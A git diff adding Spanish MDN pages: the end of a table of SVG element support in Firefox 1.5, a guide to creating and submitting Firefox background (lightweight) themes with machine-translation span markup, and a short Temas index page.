+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#LinearGradientElement">linearGradient</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#RadialGradientElement">radialGradient</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#StopElement">stop</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#pattern-mod">Módulo de patrones</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#PatternElement">pattern</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#clip-mod">Módulo de recorte</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#ClipPathElement">clipPath</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+     <li>No maneja los caminos de recorte que tiene elementos con diferentes propiedades de reglas de recorte o que referencian otros clipPaths. (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=267224">bug 267224</a>).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#mask-mod">Módulo de máscaras</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#MaskElement">mask</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#filter-mod">Módulo de filtros</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#FilterElement">filter</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feBlendElement">feBlend</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feColorMatrixElement">feColorMatrix</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feComponentTransferElement">feComponentTransfer</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feCompositeElement">feComposite</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElement">feConvolveMatrix</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feDiffuseLightingElement">feDiffuseLighting</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feDisplacementMapElement">feDisplacementMap</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFloodElement">feFlood</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feGaussianBlurElement">feGaussianBlur</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feImageElement">feImage</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feMergeElement">feMerge</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feMergeNodeElement">feMergeNode</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feMorphologyElement">feMorphology</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feOffsetElement">feOffset</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feSpecularLightingElement">feSpecularLighting</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feTileElement">feTile</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feTurbulenceElement">feTurbulence</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feDistantLightElement">feDistantLight</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#fePointLightElement">fePointLight</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feSpotLightElement">feSpotLight</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncRElement">feFuncR</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncGElement">feFuncG</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncBElement">feFuncB</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncAElement">feFuncA</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/interact.html#cursor-mod">Módulo de cursores</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/interact.html#CursorElement">cursor</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#hyperlinking-mod">Módulos de hiperenlaces</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#AElement">a</a></td>
+   <td>
+    <ul>
+     <li>Implementado como un binding XBL - object is not of type SVGAElement.</li>
+     <li>Sólo están implementados los atributos <code>xlink:href</code>, <code>xlink:show</code> y <code>xlink:target</code> (en Firefox 2).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#view-mod">Módulo de vista</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#ViewElement">view</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/script.html#scripting-mod">Módulo de scripting</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/script.html#ScriptElement">script</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#animation-mod">Módulo de animación</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateElement">animate</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#SetElement">set</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateMotionElement">animateMotion</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateTransformElement">animateTransform</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateColorElement">animateColor</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#mpathElement">mpath</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#font-mod">Módulo de fuentes</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceElement">font</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#GlyphElement">glyph</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#MissingGlyphElement">missing-glyph</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#HKernElement">hkern</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#VKernElement">vkern</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceSrcElement">font-face-src</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-uri</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-format</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-name</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#DefinitionSrcElement">definition-src</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/extend.html#extensibility-mod">Módulo de extensibilidad</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement">foreignObject</a></td>
+   <td>
+    <ul>
+     <li>Implementado, aunque no integrado.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>{{ languages( { "fr": "fr/SVG_dans_Firefox_1.5", "ja": "ja/SVG_in_Firefox_1.5", "pl": "pl/SVG_w_Firefoksie" } ) }}</p>
diff --git a/files/es/temas/background/index.html b/files/es/temas/background/index.html
new file mode 100644
index 0000000000..d30153f9c1
--- /dev/null
+++ b/files/es/temas/background/index.html
@@ -0,0 +1,99 @@
+---
+title: Background Themes
+slug: Temas/Background
+translation_of: Mozilla/Add-ons/Themes/Lightweight_themes
+---
+<h2 id="Cómo_crear_su_propio_fondo_temático"><span class="short_text" id="result_box" lang="es"><span class="hps">Cómo crear</span> <span class="hps">su propio fondo</span> <span class="hps">temático</span></span></h2>
+
+<div class="primary auto" id="getting-started">
+<p><span id="result_box" lang="es"><span class="hps">Los temas se</span> <span class="hps">componen de</span> <span class="hps">un archivo de</span> <span class="hps">imagen gráfica</span> <span class="hps">"de cabecera</span><span>"</span><span>, que</span> <span class="hps">superpone</span> <span class="hps">el valor por defecto</span> <span class="hps">del IU</span></span><span lang="es"><span class="hps"> de Firefox</span></span>.</p>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">¿Termino</span> <span class="hps">su diseño</span><span>?</span> <span class="hps">Puede</span></span> <a href="https://addons.mozilla.org/developers/theme/submit">enviarlo ahora mismo!</a></p>
+
+<h3 id="Creación_de_una_Imagen_Cabecera_del_Tema"><span class="short_text" id="result_box" lang="es"><span class="hps">Creación de una Imagen </span></span> Cabecera del Tema</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">La</span> <span class="hps">imagen de cabecera</span> <span class="hps">se muestra como</span> <span class="hps">el fondo de la</span> <span class="hps">parte superior de la</span> <span class="hps">ventana del navegador</span><span>, situado</span> <span class="hps">detrás de</span> <span class="hps">las barras de herramientas</span><span>, barra</span> <span class="hps">de direcciones,</span> <span class="hps">barra de búsqueda y</span> <span class="hps">la barra de pestañas</span><span>.</span></span> <span id="result_box" lang="es"><span class="hps">Estará</span> <span class="hps">anclada en</span> <span class="hps">la esquina superior</span> <span class="hps">derecha de la</span> <span class="hps">ventana del navegador.</span></span></p>
+
+<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9929/header-step.jpg" style="height: 215px; width: 1059px;"></p>
+
+<ul>
+ <li><a href="https://addons.cdn.mozilla.net/static/img/docs/themes/header.jpg">Ver un ejemplo del Encabezado del Tema aqui.</a></li>
+</ul>
+
+<h4 id="Requisitos_de_la_Imagen"><span class="short_text" id="result_box" lang="es"><span class="hps">Requisitos de la Imagen</span></span></h4>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">Las dimensiones</span> <span class="hps">deben ser de</span> <strong><span class="hps">3000px</span> <span class="hps">de ancho</span> <span class="hps">×</span> <span class="hps">200 píxeles</span> <span class="hps">de alto</span></strong></span></li>
+ <li>Formato de archivo PNG o JPG</li>
+ <li>El archivo de imagen no debe ser mayor de 300 KB</li>
+</ul>
+
+<h4 id="Consejos">Consejos</h4>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">Sutil</span><span>,</span> <span class="hps">imágenes de contraste</span> <span class="hps">suaves</span> <span class="hps">y gradientes</span> <span class="hps">funcionan mejor</span><span>;</span></span> imagenes muy detalladas <span id="result_box" lang="es"><span class="hps">competirá con</span> <span class="hps">la IU</span> <span class="hps">del navegador</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Firefox</span> <span class="hps">puede revelar</span> <span class="hps">más</span> <span class="hps">de la porción inferior</span> <span class="hps">de la imagen si</span> <span class="hps">otra barra de herramientas</span> <span class="hps">u otro elemento de</span> <span class="hps">la interfaz de usuario</span> <span class="hps">se añade a</span> <span class="hps">la parte superior de</span> <span class="hps">la ventana.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">La parte</span> <span class="hps">superior derecha</span> <span class="hps">de la imagen</span> <span class="hps">debe tener la</span> <span class="hps">información</span> <span class="hps">más importante ya que cuando un</span> <span class="hps">usuario</span> <span class="hps">aumenta</span> <span class="hps">el ancho de la</span> <span class="hps">ventana del navegador</span><span>, el navegador</span> <span class="hps">muestra</span> <span class="hps">más de la</span> <span class="hps">parte izquierda</span> <span class="hps">de la imagen.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Los monitores Ultrawide pueden funcionar en una extensión de 3440px. Para obtener una buena visualización en estos monitores, puede aumentar el tamaño de la imagen o asegurarse de que la parte izquierda de la imagen se difumine hacia un color sólido.</span></span></li>
+</ul>
+
+<h4 id="Recursos_de_editores_de_imágenes_en_línea"><span class="short_text" id="result_box" lang="es"><span class="hps">Recursos de editores</span> <span class="hps">de imágenes en línea</span></span></h4>
+
+<ul>
+ <li><a href="http://www.pixlr.com">Pixlr</a> — <span id="result_box" lang="es"><span class="hps">Pixlr</span> <span class="hps">ofrece</span> <span class="hps">herramientas profesionales</span> <span class="hps">y fáciles</span> <span class="hps">de usar para la</span> <span class="hps">creación y edición de</span> <span class="hps">imágenes dentro de</span> <span class="hps">un navegador.</span></span></li>
+ <li><a href="http://www.photoshop.com">Photoshop</a> — Retoques<span id="result_box" lang="es"><span>, rotar y</span> <span class="hps">retocar</span> <span class="hps">fotos</span> <span class="hps">con</span> <span class="hps">Photoshop</span> <span class="hps">Express,</span> <span class="hps">un editor de</span> <span class="hps">fotos en línea gratis</span><span>.</span></span></li>
+</ul>
+
+<h3 id="Creando_una_imagen_de_pie_de_página_del_tema"><strong>Creando una imagen de pie de página del tema</strong></h3>
+
+<p><span id="result_box" lang="es"><span class="hps">En</span> <span class="hps">versiones anteriores de</span> <span class="hps">Firefox</span><span>,</span> <span class="hps">o</span> <span class="hps">versiones más recientes</span> <span class="hps">con</span> <span class="hps">determinados</span> <span class="hps">complementos</span> <span class="hps">instalados,</span> <span class="hps">la imagen</span> <span class="hps">de pie de página</span> <span class="hps">se muestra como</span> <span class="hps">el fondo de la</span> <span class="hps">parte inferior de la</span> <span class="hps">ventana del navegador,</span></span> <span id="result_box" lang="es"><span class="hps">detrás de las barras</span> <span class="hps">complemento</span></span>. <span id="result_box" lang="es"><span class="hps">Estará</span> <span class="hps">anclada en</span> <span class="hps">la esquina</span> <span class="hps">inferior izquierda de</span> <span class="hps">la ventana del navegador</span><span>.</span> <span class="hps">Imágenes</span> <span class="hps">de pie de página</span> <span class="hps">son opcionales</span><span>.</span></span></p>
+
+<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9935/footer-step.jpg" style="height: 56px; width: 1249px;"></p>
+
+<ul>
+ <li><a href="https://addons.cdn.mozilla.net/static/img/docs/themes/footer.jpg">Ver una muestra de Tema de pie de página aquí..</a></li>
+</ul>
+
+<h4 id="Requisitos_de_la_Imagen_2"><span class="short_text" id="result_box" lang="es"><span class="hps">Requisitos de la Imagen</span></span></h4>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">Las dimensiones</span> <span class="hps">deben ser de</span> <strong><span class="hps">3000px</span> <span class="hps">de ancho</span> <span class="hps">×</span> <span class="hps">100 píxeles</span> <span class="hps">de alto</span></strong></span></li>
+ <li>Formato de archivo PNG o JPG</li>
+ <li>El archivo de imagen no debe ser mayor de 300 KB</li>
+</ul>
+
+<h4 id="Consejos_2">Consejos</h4>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">Sutil</span><span>,</span> <span class="hps">imágenes de contraste</span> <span class="hps">suaves</span> <span class="hps">y gradientes</span> <span class="hps">funcionan mejor</span><span>;</span></span> imagenes muy detalladas <span id="result_box" lang="es"><span class="hps">competirá con</span> <span class="hps">la IU</span> <span class="hps">del navegador</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Firefox</span> <span class="hps">puede revelar</span> <span class="hps">más</span> <span class="hps">de la porción inferior</span> <span class="hps">de la imagen si</span> <span class="hps">otra barra de herramientas</span> <span class="hps">u otro elemento de</span> <span class="hps">la interfaz de usuario</span> <span class="hps">se añade a</span> <span class="hps">la parte superior de</span> <span class="hps">la ventana.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">La parte</span> <span class="hps">superior derecha</span> <span class="hps">de la imagen</span> <span class="hps">debe tener la</span> <span class="hps">información</span> <span class="hps">más importante ya que un</span> <span class="hps">usuario</span> <span class="hps">aumenta</span> <span class="hps">el ancho de la</span> <span class="hps">ventana del navegador</span><span>, el navegador</span> <span class="hps">muestra</span> <span class="hps">más de la</span> <span class="hps">parte izquierda</span> <span class="hps">de la imagen.</span></span></li>
+</ul>
+
+<h3 id="Presentar_sus_imagenes_del_tema">Presentar sus imagenes del tema</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Para empezar a</span> <span class="hps">enviar sus</span> <span class="hps">imágenes</span><span>, vaya</span> <span class="hps">a la página</span> <span class="hps">de presentación</span> de <span class="hps">Temas:</span></span></p>
+
+<ol class="itemized">
+ <li><span id="result_box" lang="es"><strong><span class="hps">El nombre de su</span> <span class="hps">tema</span> </strong></span>—<span lang="es"> <span class="hps">elegir un</span> <span class="hps">nombre único para</span> <span class="hps">su tema.</span> <span class="hps">Nombres</span> <span class="hps">duplicados no</span> <span class="hps">están permitidos,</span> <span class="hps">por lo que puede</span> <span class="hps">que tenga que probar</span> <span class="hps">un par de veces</span> <span class="hps">para encontrar</span> <span class="hps">un nombre único.</span></span></li>
+ <li><strong><span id="result_box" lang="es"><span class="hps">Elija una categoría</span> <span class="hps">y</span> <span class="hps">etiquetas</span> </span></strong>—<span lang="es"> <span class="hps">seleccionar una categoría</span> <span class="hps">y entrar en</span> <span class="hps">algunas etiquetas</span> <span class="hps">que mejor describen</span> <span class="hps">su tema.</span> <span class="hps">Tenga en cuenta que</span> <span class="hps">un crítico</span> <span class="hps">puede rechazar</span> <span class="hps">su tema</span> <span class="hps">si es obvio</span> <span class="hps">que su</span> <span class="hps">categoría y / o</span> <span class="hps">etiquetas</span> <span class="hps">no están relacionados con</span> <span class="hps">su tema.</span></span></li>
+ <li><span id="result_box" lang="es"><strong><span class="hps">Describa su</span> <span class="hps">tema</span></strong> </span>—<span lang="es"> <span class="hps">escribir una breve</span> <span class="hps">descripción de</span> <span class="hps">su tema.</span> <span class="hps">Tenga en cuenta que</span> <span class="hps">un crítico</span> <span class="hps">puede rechazar</span> <span class="hps">su tema</span> <span class="hps">si su</span> <span class="hps">descripción no es</span> <span class="hps">una representación exacta de</span> <span class="hps">su tema.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Seleccione</span> <span class="hps">una licencia</span> <span class="hps">para su tema</span> </span>—<span lang="es"> <span class="hps">decidir sobre</span> <span class="hps">una licencia</span> <span class="hps">de derechos de autor</span> <span class="hps">para su trabajo.</span></span> <a href="http://creativecommons.org/licenses/">Lea más acerca de los tipos de licencias Creative Common.</a>
+  <ul>
+   <li><span id="result_box" lang="es"><span class="hps">Importante</span><span>: Por favor,</span> <span class="hps">asegúrese de que tiene</span> <span class="hps">los derechos para usar</span> <span class="hps">la imagen en</span> <span class="hps">su tema</span><span>!</span></span></li>
+  </ul>
+ </li>
+ <li><span id="result_box" lang="es"><strong><span class="hps">Cargue sus imágenes</span></strong> </span>—<span lang="es"> <span class="hps">asegurarse de que son</span> <span class="hps">menos de 300</span> <span class="hps">KB</span> <span class="hps">de tamaño y</span> <span class="hps">JPG</span> <span class="hps">o PNG</span><span>!</span></span></li>
+ <li><span id="result_box" lang="es"><strong><span class="hps">Seleccione</span> <span class="hps">el texto y</span> <span class="hps">los colores</span> <span class="hps">de la ficha</span></strong> </span>—<span lang="es"><span class="hps"> puede elegir</span> <span class="hps">la pestaña</span> <span class="atn hps">(</span><span class="hps">"background</span><span>"</span><span>)</span><span class="hps"> color</span> <span class="hps">y color</span> <span class="hps">de texto</span> <span class="hps">plano</span> <span class="hps">que</span> <span class="hps">mejor</span> funcione con <span class="hps">su</span> <span class="hps">imagen de cabecera</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><strong><span class="hps">Vista previa de</span> <span class="hps">su tema</span></strong> </span>—<span lang="es"> <span class="hps">usted está listo</span> <span class="hps">para previsualizar</span> <span class="hps">su tema</span><span>!</span> <span class="hps">Simplemente</span> <span class="hps">puntero del ratón sobre</span> <span class="hps">la imagen arriba</span> <span class="hps">del botón</span><span class="hps"> Enviar</span> Tema <span class="hps">y</span> <span class="hps">ver</span> <span class="hps">cómo se ve</span> <span class="hps">al instante.</span></span></li>
+ <li><span id="result_box" lang="es"><strong><span class="hps">Presentar</span> <span class="hps">su tema</span> </strong></span>—<span lang="es"> <span class="hps">si todo</span> <span class="hps">se ve bien</span><span>,</span> <span class="hps">haga clic en el</span> <span class="hps">botón</span> <span class="hps">Enviar</span> <span class="hps">Tema y</span> <span class="hps">todo listo!</span> <span class="hps">Puede ver todos</span> <span class="hps">los temas</span> <span class="hps">que has</span> <span class="hps">sido autor</span> <span class="hps">en su página de</span> <span class="hps">perfil.</span></span>
+  <ul>
+   <li><span id="result_box" lang="es"><strong><span class="hps">Consejo:</span></strong> <span class="hps">para asegurarse de que</span> <span class="hps">su tema</span> <span class="hps">está aprobado para</span> <span class="hps">la galería</span><span>, asegúrese de que</span> <span class="hps">cumple con</span> <span class="hps">las directrices</span> <span class="hps">de contenido y</span> <span class="hps">los términos de servicio</span><span>!</span></span></li>
+  </ul>
+ </li>
+</ol>
+
+<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9933/submission-step.jpg" style="height: 1800px; width: 785px;"></p>
+
+<p class="call-to-submit"><a class="button prominent" href="https://addons.mozilla.org/en-US/developers/theme/submit">Presente su Tema Ahora</a></p>
+</div>
diff --git a/files/es/temas/index.html b/files/es/temas/index.html
new file mode 100644
index 0000000000..24376902a6
--- /dev/null
+++ b/files/es/temas/index.html
@@ -0,0 +1,20 @@
+---
+title: Temas
+slug: Temas
+tags:
+  - Complementos
+  - Temas
+  - Todas_las_Categorías
+translation_of: Mozilla/Add-ons/Themes
+---
+<p> </p>
+<div class="callout-box"><strong><a href="/es/Creando_un_skin_para_Firefox/Como_empezar" title="es/Creando_un_skin_para_Firefox/Como_empezar">Primeros pasos</a></strong><br> Para quienes quieren crear un tema y no saben cómo.</div>
+<div> <p>Los <strong>Temas</strong> son skins (apariencias) para las aplicaciones Mozilla. Te permiten cambiar la apariencia de la interfaz de usuario y personalizarlo a tu gusto. Un tema puede cambiar simplemente el color de la UI o puede cambiar toda su apariencia.</p>
+</div>
